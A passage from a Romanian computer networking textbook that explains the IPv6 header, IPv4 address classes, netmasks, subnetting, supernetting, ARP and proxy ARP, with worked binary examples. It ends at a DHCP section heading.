Protocolul IPv6 este standardizat prin RFC 2460, cele mai importante dou diferene fa de IPv4 fiind lungimea fix a antetului de 40 de octei i eliminarea sumei de control a antetului. Din structura unui pachet IPv6 se observ c cinci dintre cmpurile antetului IPv4 nu se mai regsesc n antetul de IPv6: lungimea antetului, identificatorul de secven, bii de control, decalaj fragment, suma de control a antetului. Se observ c toate mecanismele de fragmentare din antetul IPv4 au fost eliminate. IPv6 realizeaz fragmentarea precum i alte funcii prin folosirea unor antete de extensie. Precizarea tipului de antet de extensie folosit se face prin cmpul Antet urmtor (Next Header), cmp ce folosete aceleai valori ca i cmpul Protocol din antetul IPv4 (vezi Error! Reference source not found.). Valoarea 43 a acestui cmp indic existena unui antet IPv6 de fragmentare dup antetul curent. Eliminarea sumei de control din antet este motivat de numrul mult mai mic al erorilor n reelele actuale (n urma trecerii de la legturile de cupru la cele optice sau prin folosirea cablurilor de cupru de o calitate mai bun). Rezultatul acestei modificari este creterea vitezei de prelucrare a antetului de reea, deoarece nu mai este necesar calcului sumei de control la fiecare modificare a cmpului limit hopuri (echivalentul cmpului TTL din Ipv4).

95 | A d r e s a r e a I P

vers

clas trafic Lungime date

Etichet de flux Antet urm. Adresa IPv6 surs [ 3 x 32 ] Adresa IPv6 destinaie
[ 3 x 32 ]

Limit hopuri

Date ...

3-3: Structura antetului IPv6 Singurul cmp din antetul IPv6 ce nu are un echivalent n antetul IPv4 este cmpul Etichet de flux. Acest cmp permite routerelor s comute cadrele pe baza unei valori de 20 de bii i nu pe baza adresei destinaie. Aceast metod de comutare (folosind doar o etichet de 20 de bii), nlesnete implementarea reelelor IPv6/ MPLS (MultiProtocol Label Switching).

3.1.3 Clase de adrese


O adres IP este un ir de 32 de bii ce identific dou lucruri: o reea i o staie n cadrul acelei reele. Pentru a simplifica utilizarea adreselor IP se folosete formatul decimal. Astfel, o adres IP dat: 10110001000001000001011000001000, se mparte mai nti n grupuri de cte 8 bii: 10110001.00000100.00010110.00001000 i apoi fiecare grup este convertit n sistem zecimal: 177.4.22.8. Dei aceast nou exprimare nlesnete semnificativ lucrul cu adrese IP, aduce i unele limitri n uurina de a discerne poriunea de reea i cea de staie din cadrul adresei IP, pentru cazurile n care sunt definite subreele. ncercarea de a pstra reprezentarea zecimal ca model de referin pentru IP i, n acelai timp de a pune n eviden distincia dintre cele dou componente a dus la definirea claselor de adrese IP. Odat cu definirea primelor trei clase pentru rutare a mai fost definit un spaiu de adrese folosit pentru adresarea multicast, anume clasa D. Restul adreselor vor constitui clasa E, reprezentnd adrese rezervate. n 3-1 sunt prezentate cele cinci clase definite pentru spaiul de adrese IP. Clasa A B C D E Primii bii 0 10. 110 1110 11110 Nr. bii reea 8 16 24 Nr. de reele 27 214 221 Nr. bii staie 24 16 8 Nr. staii 224-2 216-2 28-2 Domeniul de valori 1.0.0.0 126.255.255.255 128.0.0.0 191.255.255.255 192.0.0.0 223.255.255.255

Adrese multicast Rezervat 3-1: Spaiul de adrese IP

96 | R e e l e L o c a l e

Clasa A a fost proiectat pentru a satisface cerinele ridicate de reelele de mari dimensiuni. Astfel, pentru definirea reelei va fi folosit doar primul octet, pentru identificarea staiei fiind disponibili 24 de bii, ceea ce ofer mai mult de 16,7 milioane de posibiliti. n figura de mai sus se poate observa c domeniul de valori pentru clasa A nu include reelele 0.0.0.0 i 127.0.0.0, acestea fiind rezervate. Clasa de adrese 0.0.0.0 nu este folosit datorit posibilelor confuzii cu rutele implicite, n vreme ce clasa 127.0.0.0 este rezervat pentru adrese de loopback, n scopul monitorizrii i testrii. Tot din 3-1 se observ eliminarea a cte dou adrese dintre cele ce pot fi alocate staiilor, pentru fiecare dintre clasele rutabile. Cele dou adrese sunt: adresa de reea i adresa de difuzare. O adres IP de reea este o adres pentru care toi biii de staie sunt 0. O astfel de adres este folosit pentru identificarea ntregii reele. Aceasta este, de fapt, partea relevant a oricrei adrese de staie ce cltorete peste Internet pentru toate routerele de pe parcurs. O adres IP de difuzare sau adres de broadcast este o adres pentru care toi biii de staie sunt 1. Un pachet destinat unei astfel de adrese va ajunge la toate staiile din acea reea. O clas de adrese B este definit de valorile primilor doi bii din adresa IP, aceti primi doi bii fiind 10. Din aceast constrngere rezult c toate adresele IP ale cror prim octet se afl ntre 10000000 i 10111111, adic ntre 128 i 191, aparin unei clase B. Cmpul de reea pentru o clas B va cuprinde primii doi octei, dar deoarece primii doi bii ai primului octet sunt fixai, rmn doar 14 bii disponibili pentru a crea clase B. Pentru definirea staiilor sunt folosii ultimii doi octei, adic 16 bii. Astfel pot fi obinute 16.384 reele, fiecare avnd un numr maxim de 65.533 de staii. Clasa A Reea 1 Reea 1 Reea 1 Staie 2

3 Staie 3

Clasa B

4 Staie 4

Clasa C

2 Staie 2 3-2: Adresarea IP

Clasa D 1

Clasa C se definete prin alocarea primilor 3 octei pentru definirea reelei i doar a ultimilor 8 bii pentru identificarea staiilor din aceeai reea. Primii trei bii din primul octet trebuie s fie 110, adic valoarea acestui prim octet trebuie s se afle ntre 192 i 223 pentru ca o adres s aparin unei clase C. Numrul reelelor de clas C depete 2 milioane, fiecare dintre acestea putnd s cuprind 254 de staii. Clasa de adrese D este folosit pentru reele multicast. n decursul ultimilor 15 ani au existat numeroase standarde i propuneri de standardizare pentru asigurarea unei

97 | A d r e s a r e a I P

infrastructuri de multicast, dar realitatea anului 2008 este c traficul de multicast reprezint doar o foarte mic poriune din traficul transferat n Internet. Cu toate acestea, convergena reelelor de date cu cele de telefonie sau de televiziune ofer o not de optimism n legtur cu viitorul comunicaiilor multicast. n Romania abia n anul 2006 a devenit disponibil comercial serviciul de trasmisiuni de multicast, un singur ISP oferind n acest moment acces la un M-Bone naional. Pentru adresa multicast spaiul de adrese este plat, toi cei 4 octei fiind folosii pentru definirea adresei de staie. Deoarece primii 4 bii ai primului octet sunt fixai, i anume 1110, numrul adreselor de multicast este de 268 milioane. Cu toate acestea au fost definite mai multe regiuni disjuncte, regiuni menite s serveasc obiective diferite: de la asigurarea integrrii cu o infrastructur de unicast, pn la definirea unor spaii de adrese de multicast private. Primele 256 de adrese (cele cuprinse ntre 224.0.0.0 i 224.0.0.255) sunt definite ca aparinnd zonei Local Network Control Block, aceastea fiind adresele folosite i de protocoalele de rutare: spre exemplu OSPF rezerv dou dintre aceste adrese de multicast: 224.0.0.5 i 224.0.0.6 pentru procesul de alegere a routerului desemnat, iar RIPv2 folosete adresa 224.0.0.9 pentru trimiterea actualizrilor. Clasa de adrese E este rezervat i nu poate fi folosit n reelele publice sau n soluii de multicast.

3.1.4 Masca de reea


Prin folosirea celor 3 clase rutate eficiena utilizrii spaiului de adrese IPv4 este una extrem de redus. Spre exemplu, pentru o reea cu 4 noduri va fi alocat o clas C, pierznduse asftfel 250 de adrese. n cazul unei reele de 300 de noduri alocarea unei clase B duce la pierderea a mai mult de 65.000 de adrese, i chiar prin reproiectarea reelei i separarea sa n dou reele, se vor folosi dou clase C, cea ce va duce la pierderea a peste 200 de adrese. Protocolul IP impune ca orice adres s conin dou informaii: o adres de reea i adresa unei staii din cadrul acelei reele. Separarea celor dou cmpuri nu trebuie s apar la grania de octet. Pentru determinarea biilor ce definesc adresa de reea se folosete un ir de 32 de bii denumit masc de reea. Masca de reea este un ir de 32 de bii care, n conjuncie logic cu o adres IP, separ adresa de reea, anulnd biii de staie. Fiecare bit din masca de reea ce corespunde (adic se afl pe aceeai poziie) cu un bit din cmpul de reea are valoare 1, n vreme ce toi biii corespunztori cmpului de staie au valoarea zero. Exprimarea mtii de reea poate fi realizat n forma zecimal sau sub forma unui prefix de reea. n cazul exprimrii zecimale cei 32 de bii sunt separai n grupuri de 8, apoi realizndu-se conversia n zecimal. Procesul este unul similar cu exprimarea zecimal a adresei IP. O alt reprezentare a mtilor de reea este sub forma unui numr care indic numrul de bii de 1 consecutivi din masca de reea. Acest tip de reprezentare poart numele de prefix de reea. Pentru exemplificare, fie adresa IP: 141.85.37.133 i masca: 255.255.240.0. Masca de reea este echivalent cu prefixul /20. Pentru aceast exemplu cmpul de reea va cuprinde primii 20 de bii, iar cmpul de staie ultimii 12. Adresa reelei se obine prin operaia de I logic ntre masc i adresa IP: 141.85.32.0/20. Adresa de difuzare se obine prin completarea tuturor biilor din cmpul de staie cu valori de 1. Adresa de difuzare va fi: 141.85.63.255/20.

98 | R e e l e L o c a l e

Pentru aceeai adres, dar folosind prefixul /26 adresa de reea ar fi: 141.85.37.128/26, iar adresa de difuzare: 141.85.37.191/26.
reea staie 1000 1101.0101 0101.0010 0101.10 00 0101 - 141.85.37.133 1111 1111.1111 1111.1111 1111.11 00 0000 255.255.255.192 - /26 --------------------------------------1000 1101.0101 0101.0010 0101.10 00 0000 141.85.37.128/26 - reea 1000 1101.0101 0101.0010 0101.10 11 1111 141.85.37.191/26 - difuzare

Este important de observat c aceai adres poate fi adres de staie sau adres de difuzare n funcie de masca de reea aleas.

3.1.5 Subreele
Totalitatea nodurilor ce pot comunica ntre ele folosind dispozitive de nivel fizic i legtur de date (de exemplu: repetoare i switchuri) definesc o reea local. Altfel spus, o reea local va cuprinde totalitatea echipamentelor de reea ce pot comunica fr intermedierea unui router. O reea local coincide cu un domeniu de difuzare. Astfel, toate staiile din aceai reea local vor primi pachetele de broadcast. Din motive de securitate, dar i pentru optimizarea consumului de band n cadrul unei reele locale, un administrator poate decide separarea unor seciuni din reea n subreele diferite. Pentru asigurarea adresrii va trebui s mpart spaiul iniial de adrese n mai multe seciuni disjuncte. Atenie! Distinia ntre reele i subreele este una pur istoric. Reele erau denumite doar spaiile de adrese ce corespundeau claselor A, B i C. n prezent noiunile sunt folosite interschimbabil. Pentru a mpri spaiul de adrese 144.1.40.0/21 n dou jumti se pornete de la reprezentarea binar a spaiului iniial, apoi sunt delimitate cmpurile de reea i staie. Din cmpul de staie vor fi marcai un numr de bii pentru definirea de subreele. Aceti bii vor defini un nou cmp numit cmp de subreea.
reea staie 10010000.00000001.00101 000.0000 0000 - 144.1.40.0/21 10010000.00000001.00101 000.0000 0000 - 144.1.40.0/22 -prima subreea 10010000.00000001.00101 100.0000 0000 - 144.1.48.0/22 -a doua subreea subreea

Pentru a mpri spaiul 144.1.48.0/22 n 5 subreele, se caut cea mai apropiat putere a lui 2 egal sau mai mare cu numrul de subreele cutat. Astfel pentru a obine 5 subreele va trebui s mprim spaiul de adrese n 8 seciuni egale. Prefixul de reea pentru fiecare dintre cele 8 subreele va fi /25, adic prefixul spaiului iniial la care se adaug numrul de bii necesar pentru a reprezenta cele 8 valori diferite.
reea 10010000.00000001.001011 10010000.00000001.001011 10010000.00000001.001011 [...] 10010000.00000001.001011 staie 00.0000 0000 - 144.1.40.0/22 00.0000 0000 - 144.1.40.0/25 prima subreea 00.1000 0000 - 144.1.48.0/25 a doua subreea 11.1000 0000 - 144.1.48.0/25 a opta subreea subreea

99 | A d r e s a r e a I P

O dezbatere nc ntlnit n recomandrile legate de alocarea adreslor IP este cea referitoare la folosirea primei i ultimei subreele. n lipsa precizrii mtii de reea, adresa primei subreele poate fi confundat cu adresa spaiului iniial. n mod similar adresa de difuzare a ultimei subreele poate fi confundat cu adresa de difuzare a spaiului iniial. Pentru exemplu de mai sus 144.1.48.0 poate fi ori adresa de reea iniial, dac prefixul este /22, ori prima subreea, dac prefixul este /25. Adresa 144.1.51.255 este adresa de difuzare pentru ntreg spaiul iniial pentru prefixul /22, sau adresa de difuzare a ultimei subreele pentru /25. Din pcate, evitarea folosirii primei i a ultimei subreele duce la o pierdere nsemnat de adrese. Astfel, soluia cea mai rspndit n reelele actuale este de a folosi prima i ultima subreea, dar cu precizarea prefixului (sau a mtii de reea) pentru orice adres IP.

3.1.6 Super-reele
Dimensiunea tabelei de rutare afecteaz att latena procesului de gsire a cii optime, ct i resursele hardware necesare pentru router (memorie, procesor). Pentru reducerea numrului de rute se poate folosi procesul de agregare a spaiilor de adrese. Agregarea de adrese este procesul invers mpririi n subreele. n exemplul de mai jos sunt prezentate 4 spaii de adrese alese special ca s difere doar prin cei mai puin semnificativi doi bii ai cmpului de reea.
reea staie 1011 1110.0001 0100.0000 0100.0000 0000 - 190.20.4.0/24 1011 1110.0001 0100.0000 0101.0000 0000 - 190.20.5.0/24 1011 1110.0001 0100.0000 0110.0000 0000 - 190.20.6.0/24 1011 1110.0001 0100.0000 0111.0000 0000 - 190.20.7.0/24 ------------------------------------------------------1011 1110.0001 0100.0000 0100.0000 0000 - 190.20.4.0/22

3-6: Agregarea a 4 clase C Cele 4 clase din tabel sunt n fapt sferturile unui singur spaiu de adrese. Adresa agregat, sau super-reeaua ce cuprinde cele 4 clase, se obine n acest caz reducnd masca de reea cu doi bii. Aceti doi bii vor fi fcui zero, trecnd n cmpul de staie, pentru a determina adresa de reea agregat. Este important de precizat c dei 190.20.4.0/22 este un spaiu valid de adrese, nu poate fi folosit pentru alocarea de adrese ntr-o singur reea. n alocarea adreselor nu se pot folosi super-reele ale celor 3 clase rutate. Astfel, 140.20.4.0/22 este o subreea din reeaua de clas B 140.20.0.0/16 i poate fi folosit pentru alocarea ntr-o singur reea, dar 190.20.4.0/22 este o super-reea ce cuprinde 4 clase C, iar adrese din acest spaiu pot fi alocate numai dup o mprire n subreele. Prefixul unei adrese IP valide nu poate fi mai mic dect prefixul clasei din care face parte respectiva adres. Nu orice dou reele pot fi agregate ntr-o super-reea. Astfel, pentru a putea profita de aceast facilitate adus de VLSM, alocarea adreselor trebuie fcut judicios nu doar n interiorul reelei de ctre administratorul de reea, ci i la nivelul ISP-urilor i chiar la nivel de ar. Din pcate, n Romnia avantajele reducerii tabelelor de rutare prin agregarea reelelor, ca o consecin a alocrii planificate a adreselor de reea, au fost contientizate extrem de trziu, astfel nct n tabelele de rutare ale marilor ISP-uri din Romnia mai frecvent se ntlnesc prefixe de /26 dect prefixe /20, cum ar fi fost de ateptat la o ar de dimensiunile Romniei.

100 | R e e l e L o c a l e

3.1.7 ARP
n prezent protocolul de rezoluie a adresei ARP este vzut adesea ca o component esenial a arhitecturii TCP/IP, dar lucrurile nu au stat dintotdeauna aa. nceputul anilor 80 a reprezentat o perioad marcat de incertitudini n ceea ce privete standardizarea protocoalelor pentru reelele de calculatoare. Dac la nivelul reelelor locale IEEE a reuit s reduc alegerea la trei standarde: Ethernet, Token Ring i Token Bus, comunicaia ntre aceste reele trebuia asigurat ori de IP ori de CLNS (Connectionless Network Service). Nici anii ce au urmat nu au impus protocolul IP ca principalul ctigtor la nivelul reea de la nceputul anilor 90, competiia desfurndu-se ntre IP i IPX sau Apple Talk. Pentru legturile punct-la-punct nu exist nicio diferen ntre comunicaia unicast i broadcast. Din acest motiv, pentru legturile punct-la-punct nu este necesar un mecanism pentru determinarea adresei de nivel 2, folosindu-se doar adresa de difuzare. Ethernetul este ns un mediu multiacces, putnd exista mai multe destinaii n cadrul aceleai reele locale. ARP a fost standardizat de IETF n 1982 prin RFC 826 i reprezint mecanismul pentru asigurarea comunicaiei unicast ntr-o infrastructur multiacces. Astfel, ARP i-a propus s ofere modalitatea de asociere a unei perechi <adres de reea, protocol de reea> cu o adres unic de nivel legtur de date. Dei standardul prevede posibilitatea funcionrii ARP n conjuncie cu o varietate de protocoale de nivel reea, n practic acesta a devenit o component integrant a stivei de protocoale TCP/IP/Ethernet. Prin urmare, principala aplicabilitate a protocolului ARP a fost i rmne determinarea corespondenelor ntre adresele IP i adresele MAC. ARP se bazeaz pe construirea i meninerea unei tabele ARP. O tabel ARP are rolul de a pstra corespondenele nvate ntre adresele IP i cele MAC. Acestea sunt construite dinamic i sunt stocate n memoria RAM. Dei exist mecanisme pentru adugarea static sau eliminarea unei intrri ntr-o tabel ARP, sunt rare situaiile n care un administrator de reea va apela la ele. Fiecare computer sau dispozitiv de reea i pstreaz propria sa tabel ARP, n realitate existnd cte o tabel ARP pentru fiecare interfa activ. Astfel, un router cu trei interfee Ethernet va menine trei tabele ARP distincte.
Cum funcioneaz ARP? Cum este construit tabela ARP?

Pentru a realiza configuraiile de reea ale unei staii vor trebuit precizai minim patru parametri: adresa IP a staiei, masca de reea, adresa routerului implicit (default gateway) i adresa IP a serverului de DNS. Serverul de DNS este folosit pentru a obine adresa IP a destinaiei pornind de la numele acesteia, spre exemplu o interogare de DNS va indica faptul c www.cs.pub.ro este asociat cu adresa 141.85.37.5. Datele de la nivelul aplicaie vor fi prelucrate n conformitate cu operaiile specifice nivelurilor prezentare i sesiune (dac e cazul) dup care vor fi ncapsulate la nivelul transport, precizndu-se cel mai adesea tipul serviciului (portul surs, portul destinaie). Urmeaz ncapsularea nivelului reea care va ataa antetul IP, antet ce va conine informaiile legate de adresa IP surs i adresa IP destinaie, aceasta din urm fiind n general obinut n urma unei rezoluii de DNS. Pentru construirea antetului de nivel legtur de date va trebui determinat adresa MAC destinaie. Adresele de nivel legtur de date au relevan local, nu i relevan global precum adresele de nivel reea. Din acest motiv adresa MAC destinaie din antetul de nivel doi va fi aceeai cu adresa MAC a destinaiei doar n cazul n care aceasta se afl n aceeai reea local. Altminteri, din punctul de vedere al reelei locale, adresa MAC destinaie va fi adresa primului

101 | A d r e s a r e a I P

router ctre destinaie, deoarece orice router va mrgini reeaua local. Astfel, nainte de a cuta n tabela ARP, va trebui determinat care este urmtoarea destinaie. Pentru primul pas n procesul de rezoluie a adresei va trebui determinat dac destinaia se afl n aceai reea local. Pentru aceasta se aplic masca de reea att adresei destinaie ct i adresei surs, iar dac rezultatele operaiilor de I logic coincid, se va considera c sursa i destinaia se afl n aceai reea local. n cazul acesta n tabela ARP va fi cutat direct adresa MAC a destinaiei, pornind de la adresa IP destinaie. Dac tabela ARP nu conine nicio intrare asociat cu adresa IP destinaie, nodul surs va temporiza (ntrzia) ncapsularea datelor i va crea un cadru nou, numit cerere ARP. Acest nou cadru va fi un cadru de difuzare la nivel legtur de date (deoarece adresa MAC a destinaiei nu este cunoscut), dar va avea n cmpul de date informaii despre adresa IP destinaie. Nodul destinaie va identifica cadrul drept o cerere ARP, i va actualiza mai nti tabela proprie, iar apoi va trimite un cadru, numit rspuns ARP, ce va fi unicast att la nivel legtur de date, ct i la nivelul reea. Pe baza acestui cadru sursa i va actualiza propria tabel ARP va ncapsula antetul de nivel legtur de date i va trimite cadrul.

3-7: Studiul ARP Pentru mai mult claritate se va folosi folosi topologia din figura de mai sus pentru a urmri construirea tabelelor ARP. nainte de trecerea la nivelul legtur de date, adresa IP destinaie va fi cutat n tabela ARP i nefiind gsit se va crea un cadru special (o cerere ARP) ce va avea n cmpul adres destinaie din antet adresa de difuzare: FF.FF.FF.FF.FF.FF, iar n cmpul adres surs adresa MAC a staiei A1. n figura de mai jos este prezentat structura acestui cadru Antet
MAC dest. FFFF: FFFF: FFFF MAC surs 0C18: 7A11: 7111 Tip cadru 0x0806 cod operaie 1 MAC surs 0C18: 7A11: 7111

Date
IP surs 193.23. 1.4 MAC dest. 0000: 0000: 0000 IP dest 193.23. 1.7

3-8: Cerere ARP Dac se va considera c reeaua din figur folosete Ethernet drept protocol de nivel legtur de date, datele vor fi difuzate i vor ajunge la A2, la A3 i la interfaa routerului conectat la segmentul A. Antetul cadrului va fi analizat la nivelul legtur de date de ctre toi receptorii aflai n acelai domeniu de difuzare. Cmpul destinaie fiind o adres de difuzare, cadrul va fi trimis la nivelul superior. Cadrul este identificat drept o cerere ARP i

102 | R e e l e L o c a l e

doar staia (interfaa de reea) a crei adres IP se regsete n cmpul de date al cadrului va iniia un rspuns transmis ca unicast att la nivel reea, ct i la nivel legtur de date. Totodat, pe baza coninutului cmpului de date din cadrul de cerere ARP va fi creat prima intrare n tabela ARP a staiei care s-a recunoscut ca i destinatar (n cazul de fa, A2). Antet MAC surs 0C18: 7A92: 711B Date IP surs 193.23. 1.7

MAC dest. 0C18: 7A11: 7111

Tip cadru 0x0806

cod operaie 2

MAC surs 0C18: 7A92: 711B

MAC dest. 0C18: 7A11: 7111

IP dest 193.23. 1.4

3-9: Rspuns ARP Dup primirea rspunsului, A1 va putea insera n tabela sa ARP adresa MAC a lui A2, iar comunicaia din acest moment va decurge fr probleme. Fiind pe un segment Ethernet, toate cadrele schimbate de A1 i A2 vor ajunge la toate staiile de pe segment, astfel c, dei nu au emis niciun cadru, att A3 ct i routerul vor primi att cererea ARP, ct i rspunsul. Cu toate acestea, nici cererea ARP, nici rspunsul nu vor duce la actualizarea tabelei ARP, cele dou cadre fiind ignorate. Astfel tabelele celor dou dispozitive rmn vide. Protocolul ARP este un protocol de nivel legtur de date, iar pachetele sale sunt identificate folosind valoarea 0x0806 n cmpul Lungime/Tip. Aceast valoare este mai mare dect 0x0800, cmpul Lungime/Tip identificnd tipul protocolului de nivel 2 i nu lungimea cadrului. Cmpul cod operaie din zona de date a cadrului ARP poate avea doar patru valori, dou folosite de protocolul ARP i dou de RARP. Astfel pentru valoarea 1 i 2 cadrul este interpretat ca o cerere, respectiv rspuns ARP, iar pentru valorile 3 i 4 este interpretat ca o cerere, respectiv rspuns RARP. Dup popularea tabelei ARP va fi creat i antetul de nivel legtur de date al cadrului ce trebuia transmis iniial, dup cum este prezentat i n 3-. Antet 2 MAC surs 0C18: 7A11: 7111 Antet 3 Tip cadru 0x0800 IP dest 193.23. 1.7 3-10: Cadrul de date Cum are loc comunicaia ntre staii aflate n reele diferite? S-a vzut c protocolul de rezoluie a adresei se bazeaz pe difuzri la nivel legtur de date. Routerele n schimb nu propag pachetele de difuzare de nivel legtur de date n afara reelei din care provin. Revenind la primul pas al protocolului ARP, i anume la testul apartenenei la aceeai reea a adresei IP surs i a adresei IP destinaie. Cu alte cuvinte, dac rezultatul operaiei de I logic ntre adresa surs i masca de reea difer fa de rezultatul operaiei de I logic ntre adresa destinaie i aceai masc de reea, se concluzioneaz c sursa i destinaia se afl n reele diferite. n acest caz, n antetul de nivel 2 va trebui precizat adresa urmtorului router IP surs 193.23. 1.4 Date

MAC dest. 0C18: 7A92: 711B

103 | A d r e s a r e a I P

aflat pe calea ctre destinaie, altfel spus, adresa routerului implicit (default gateway). Dac n tabela ARP nu exist o intrare pentru routerul implicit, atunci va fi trimis un cadru cerere ARP, pe adresa de difuzare de nivel 2, pentru a afla adresa IP a routerului implicit. Acesta va rspunde cererii, cu un cadru unicast ce va fi folosit pentru actualizarea tabelei ARP pe staia surs. n cele din urm va fi construit antetul de nivel 2 pentru cadrul de date, astfel nct adresa IP destinaie va fi adresa IP a destinaiei finale, dar adresa MAC destinaie va fi adresa MAC a routerului implicit. n cazul reelei de mai sus se consider c staia A1 vrea s comunice cu B1. Dup operaia IP(A1)&masc(A1) = IP(B1)& masc(A1), se determin c B1 nu se afl n aceai reea local. Astfel A1 va cuta n tabela ARP o coresponden pentru adresa routerului implicit, adic pentru 193.23.1.1. Dac aceast coresponden nu exist, va trimite un cadru de cerere ARP dar care va avea precizat n cmpul de date ca adres IP destinaie 193.23.1.1. Cadrul fiind unul de difuzare, va fi recepionat de ctre toate dispozitivele de reea aflate pe acest segment. A2 i A3 vor ignora cadrul, deoarece acesta va avea precizat ca adres IP destinaie alt valoare dect adresele lor. Routerul va trimite un cadrul de rspuns ARP similar cu cel din 3-*ref+, n care MAC surs va fi: 00.48.0C.18.7A.A2, iar IP surs va fi 193.23.1.1. Pe baza cadrului de cerere ARP, routerul i va actualiza propria tabel ARP corespunztoare interfeei dinspre segmentul A, iar apoi pe baza cadrului de rspuns A1 i va aduga n tabela ARP o intrare nou, ce face corespondena ntre 193.23.1.1 i adresa MAC a interfeei routerului: 00.48.0C.18.7A.A2. Din acest moment staia A1 va ncapsula transmisia destinat staiei B1 folosind adresa IP a lui B1 (24.8.17.2) i adresa MAC a interfeei e0 a routerului (00.48.0C.18.7A.A2). Adresa destinaie va folosi routerului pentru a determina interfaa pe care trebuie trimis pachetul i astfel procesul de rutare va determina c pachetul trebuie trimis pe interfaa e1 a routerului. Routerul va face mai nti testul dac interfaa pe care trebuie trimis pachetul este n aceai reea cu destinaia final a pachetului. n cazul de fa IP(e1)&masc(e1) va da acelai rezultat cu IP(B1)&masc(e1), astfel va fi cutat n tabela ARP a interfeei e1, o coresponden pentru adresa IP a lui B1. Dac aceast coresponden nu exist va fi trimis o cerere ARP ce va conine adresa IP destinaie a staiei B1 (a destinaiei finale). Dac n schimb B1 nu ar fi fost n aceai reea cu interfaa e1, ar fi fost extras din ruta folosit adresa urmtorului hop, i cutat n tabela ARP o coresponden pentru adresa urmtorului hop. Pentru topologia din figur*ref+, n urma a dou procese de cerere/rspuns ARP i o rescriere a antetului de nivel 2 operat de router, pachetul va ajunge la destinaie, aceast comunicaie simpl fiind realizat prin trimiterea a nu mai puin de 6 cadre cu antete de nivel 2 diferite. n plus, n tabela ARP a staiei A1, a interfeei e0, a interfeei e1 i a staiei B1 a fost adugat cte o nregistrare Cum are loc comunicaia ntre staii aflate n reele diferite dac nu s-a precizat adresa routerului implicit? Pentru sistemele de operare ce ruleaz la nivelul staiilor, lipsa adresei routerului implicit echivaleaz cu limitarea comunicaiei la reeaua local. Pe de alt parte, n cazul routerelor ce au ca interfa de ieire o reea de tip multiacces (de exemplu Ethernet), dar nu au precizat i adresa urmtorului router trebuie cutat un alt mecanism pentru a asigura ieirea din reeaua local. Un caz similar este i cel al unor dispozitive dedicate ce ruleaz sisteme de operare monolitice, cu implementri pariale ale stivei TCP/IP datorit resurselor hardware mult mai limitate dect n cazul calculatoarelor personale (de exemplu maini de marcat, automate de cafea, etc.). Att pentru rute incomplet specificate, ct i pentru implementri pariale ale stivei TCP/IP nu va mai exista diferen ntre comunicaia ntre noduri din aceai reea local i

104 | R e e l e L o c a l e

comunicaia ntre noduri aflate n reele diferite. Staiile nu vor mai avea nevoie dect de precizarea adresei IP, pentru orice adres IP destinaie urmnd s iniieze o cerere ARP. Soluia se bazeaz pe rularea la nivelul routerului de ieire din reeaua local a serviciului de proxy ARP. Proxy ARP este o extensie a protocolului de rezoluie a adresei. Pornind de la faptul c routerul nu va transfera pachetele de difuzare, Proxy ARP va determina routerul s rspund la toate cererile ARP destinate unor adrese n afara reelei cu adresa MAC a interfeei conectate n acea reea. Este important de subliniat c, dei pentru o adres IP dat nu poate exista mai mult de o singur intrare n tabela ARP, mai multe adrese IP pot fi asociate cu o singur adres MAC, acest fapt fcnd posibil funcionarea comunicaiei prin Proxy ARP. n topologia folosit anterior, pentru a permite comunicaia ntre A1 i B1 folosind proxy ARP, testul de apartenen n aceai reea nu mai poate fi fcut la nivelul staiei, deoarece aceasta nu mai are disponibil o masc de reea. A1 va iniia un cadru de cerere ARP, ce va avea ca adres IP destinaie B1 (i nu adresa IP a interfeei e0). Cererea va ajunge la toate staiile conectate n reeaua local, dar A2 i A3 o vor ignora nerecunoscnd adresa IP destinaie. Routerul n schimb, rulnd proxy ARP, va testa mai nti dac cererea ARP este destinat unei staii aflate n afara reelei din care provine. Testul va folosi masca i adresa interfeei pe care a fost primit cererea, precum i adresa IP destinaie. Cum IP(B1)&masc(e0) este diferit de IP(e0)&masc(e0), routerul va decide c destinaia se afl n alt reea. n acest caz routerul va trimite cadrul de rspuns ARP folosind ca adres surs de nivel reea adresa destinaiei finale (n cazul de fa adresa lui B1 - 24.8.17.2), i adresa de MAC a interfeei de ieire din reea, adic 00.48.0C.18.7A.A2. Totodat, routerul i va aduga n tabela ARP a interfeei e0 corespondena ntre 0C.18.7A.11.71.11 i 193.23.1.4, iar A1 i va aduga n tabela ARP intrarea ce asociaz 00.48.0C.18.7A.A2 cu 24.8.17.2. Cadrul de date va fi ncapsulat apoi folosind tabela ARP, preciznd ca adres IP destinaie 24.8.17.2, iar ca adres MAC destinaie 00.48.0C.18.7A.A2, exact ca i n cazul folosirii unui router implicit. Router implicit vs. Proxy ARP? Spre deosebire de Proxy ARP, n care cererea ARP este adresat staiei destinaie, n cazul precizrii routerului implicit cererea ARP este adresat direct routerului. n cazul proxy ARP staiile se comport ca i cum toate destinaiile s-ar afla n reeaua lor local, avnd ca adres MAC adresa routerului. Aceasta nseamn c dac o staie vrea s transmit ctre trei staii aflate n reele diferite, staia surs va emite trei cereri ARP (cte una pentru fiecare). Cererile vor fi interceptate i li se va rspunde de ctre router; aceasta duce la o cretere a traficului, precum i a dimensiunii tabelei ARP de la nivelul staiei. n cazul default gateway staia surs va testa apartenena destinaiilor la reeaua proprie i n cazul n care observ c ele fac parte din alt reea, staia surs nu va trimite cereri ARP direct ctre ele ci vor folosi adresa MAC a routerului implicit (pe care o pot afla trimind o singur cerere ARP). Proxy ARP ncarc routerul, care trebuie s rspund la cererile ARP destinate staiilor din afara reelei; precizarea routerului implicit ncarc staiile, care trebuie s testeze apartenena staiilor destinaie la reeaua local. Dei pare fireasc ntrebarea care dintre cele dou metode este mai bun, n reelele locale competiia s-a ncheiat n favoarea metodei bazate pe folosirea routerului implicit. Staiile de lucru au devenit foarte puternice n decursul ultimilor 15 ani, astfel nct distribuirea la nivelul staiilor a testului de apartenen a sursei i destinaiei la acelai LAN aduce acestora o ncrcare nesemnificativ, elibernd routerul de procesul decizional asociat cu Proxy ARP.

105 | A d r e s a r e a I P

Pe de alt parte, ncrcarea routerului la rularea Proxy ARP nu este semnificativ, mai ales pentru un router ce conecteaz o reea local. Din acest motiv majoritatea routerelor (toate routerele CISCO spre exemplu) vor avea activat implicit Proxy ARP. n cazul unei reele locale cu mai mult de o singur ieire de Internet, precizarea routerului implicit ofer un control mult mai strict al staiilor, i permite implementarea balansrii pe baz de surs a traficului. Dac s-ar analiza strict doar cele dou protocoale, concluzia ar fi c n cazul n care staiile comunic preponderent cu alte staii din cadrul aceleai reele locale comunicaia bazat pe folosirea routerului implicit va fi lent, datorit testului suplimentar, n vreme ce pentru cazul unei reele n care majoritatea traficului prsete reeaua local Proxy ARP va emite cte o cerere ARP pentru fiecare adres destinaie diferit.

3.1.8 DHCP
